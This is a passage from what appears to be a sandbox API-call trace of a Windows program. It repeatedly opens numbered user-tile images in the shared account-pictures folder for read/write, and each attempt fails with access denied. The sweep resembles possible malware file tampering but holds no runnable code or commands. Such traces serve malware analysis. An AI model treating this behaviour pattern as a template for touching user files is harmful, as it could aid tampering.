[0131.501] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.501] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.501] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.501] LocalFree (hMem=0x65ded8) returned 0x0 [0131.501] LocalFree (hMem=0x2568430) returned 0x0 [0131.501] GetLastError () returned 0x5 [0131.501] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.501] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile28.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile28.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0131.501] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0131.501] GetLastError () returned 0x5 [0131.501] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0131.501] GetLastError () returned 0x5 [0131.501] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0131.501] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0131.501] lstrlenW (lpString="CreateFile") returned 10 [0131.501] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0131.501] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0131.501] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0131.501] lstrlenW (lpString="5") returned 1 [0131.501] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0131.501] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0131.501] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.501] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.502] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.502] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.502] LocalFree (hMem=0x65ded8) returned 0x0 [0131.502] LocalFree (hMem=0x2568430) returned 0x0 [0131.502] GetLastError () returned 0x5 [0131.502] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.502] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile29.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile29.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0131.502] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0131.502] GetLastError () returned 0x5 [0131.502] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0131.502] GetLastError () returned 0x5 [0131.502] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0131.502] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0131.502] lstrlenW (lpString="CreateFile") returned 10 [0131.502] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0131.502] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0131.502] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0131.502] lstrlenW (lpString="5") returned 1 [0131.502] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0131.502] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0131.502] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.502] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.502] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.502] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.502] LocalFree (hMem=0x65ded8) returned 0x0 [0131.502] LocalFree (hMem=0x2568430) returned 0x0 [0131.502] GetLastError () returned 0x5 [0131.502] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.503] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile30.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile30.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0131.504] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0131.504] GetLastError () returned 0x5 [0131.504] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0131.504] GetLastError () returned 0x5 [0131.504] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0131.504] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0131.504] lstrlenW (lpString="CreateFile") returned 10 [0131.504] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0131.504] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0131.504] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0131.504] lstrlenW (lpString="5") returned 1 [0131.504] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0131.504] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0131.504] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.504] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.504] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.504] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.504] LocalFree (hMem=0x65ded8) returned 0x0 [0131.504] LocalFree (hMem=0x2568430) returned 0x0 [0131.504] GetLastError () returned 0x5 [0131.504] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.504] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile31.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile31.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0131.504] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0131.505] GetLastError () returned 0x5 [0131.505] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0131.505] GetLastError () returned 0x5 [0131.505] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0131.505] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0131.505] lstrlenW (lpString="CreateFile") returned 10 [0131.505] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0131.505] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0131.505] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0131.505] lstrlenW (lpString="5") returned 1 [0131.505] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0131.505] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0131.505] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.505] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.505] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.505] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.505] LocalFree (hMem=0x65ded8) returned 0x0 [0131.505] LocalFree (hMem=0x2568430) returned 0x0 [0131.505] GetLastError () returned 0x5 [0131.505] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.505] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile32.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile32.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0131.505] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0131.505] GetLastError () returned 0x5 [0131.505] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0131.505] GetLastError () returned 0x5 [0131.505] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0131.505] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0131.506] lstrlenW (lpString="CreateFile") returned 10 [0131.506] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0131.506] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0131.506] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0131.506] lstrlenW (lpString="5") returned 1 [0131.506] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0131.506] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0131.506] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.506] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.506] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.506] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.506] LocalFree (hMem=0x65ded8) returned 0x0 [0131.506] LocalFree (hMem=0x2568430) returned 0x0 [0131.506] GetLastError () returned 0x5 [0131.506] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.506] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile33.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile33.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0131.506] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0131.506] GetLastError () returned 0x5 [0131.506] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0131.506] GetLastError () returned 0x5 [0131.506] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0131.506] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0131.506] lstrlenW (lpString="CreateFile") returned 10 [0131.506] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0131.506] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0131.506] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0131.506] lstrlenW (lpString="5") returned 1 [0131.506] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0131.506] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0131.506] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.506] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.507] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.507] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.507] LocalFree (hMem=0x65ded8) returned 0x0 [0131.507] LocalFree (hMem=0x2568430) returned 0x0 [0131.507] GetLastError () returned 0x5 [0131.507] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.507] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile34.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile34.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0131.507] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0131.507] GetLastError () returned 0x5 [0131.508] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0131.508] GetLastError () returned 0x5 [0131.508] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0131.508] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0131.508] lstrlenW (lpString="CreateFile") returned 10 [0131.508] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0131.508] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0131.508] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0131.508] lstrlenW (lpString="5") returned 1 [0131.508] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0131.508] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0131.508] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.508] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.508] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.508] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.508] LocalFree (hMem=0x65ded8) returned 0x0 [0131.508] LocalFree (hMem=0x2568430) returned 0x0 [0131.508] GetLastError () returned 0x5 [0131.508] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.508] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile35.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile35.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0131.508] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0131.508] GetLastError () returned 0x5 [0131.508] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0131.508] GetLastError () returned 0x5 [0131.508] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0131.508] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0131.508] lstrlenW (lpString="CreateFile") returned 10 [0131.509] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0131.509] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0131.509] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0131.509] lstrlenW (lpString="5") returned 1 [0131.509] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0131.509] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0131.509] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.509] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.509] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.509] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.509] LocalFree (hMem=0x65ded8) returned 0x0 [0131.509] LocalFree (hMem=0x2568430) returned 0x0 [0131.509] GetLastError () returned 0x5 [0131.509] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.509] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile36.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile36.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0131.509] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0131.509] GetLastError () returned 0x5 [0131.509] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0131.509] GetLastError () returned 0x5 [0131.509] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0131.509] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0131.509] lstrlenW (lpString="CreateFile") returned 10 [0131.509] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0131.509] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0131.509] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0131.509] lstrlenW (lpString="5") returned 1 [0131.509] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0131.509] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0131.509] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.509] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.509] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.510] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.510] LocalFree (hMem=0x65ded8) returned 0x0 [0131.510] LocalFree (hMem=0x2568430) returned 0x0 [0131.510] GetLastError () returned 0x5 [0131.510] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.510] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile37.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile37.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0131.510] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0131.510] GetLastError () returned 0x5 [0131.510] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0131.510] GetLastError () returned 0x5 [0131.510] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0131.510] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0131.510] lstrlenW (lpString="CreateFile") returned 10 [0131.510] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0131.510] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0131.510] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0131.510] lstrlenW (lpString="5") returned 1 [0131.510] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0131.510] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0131.510] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.510] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.510] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.510] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 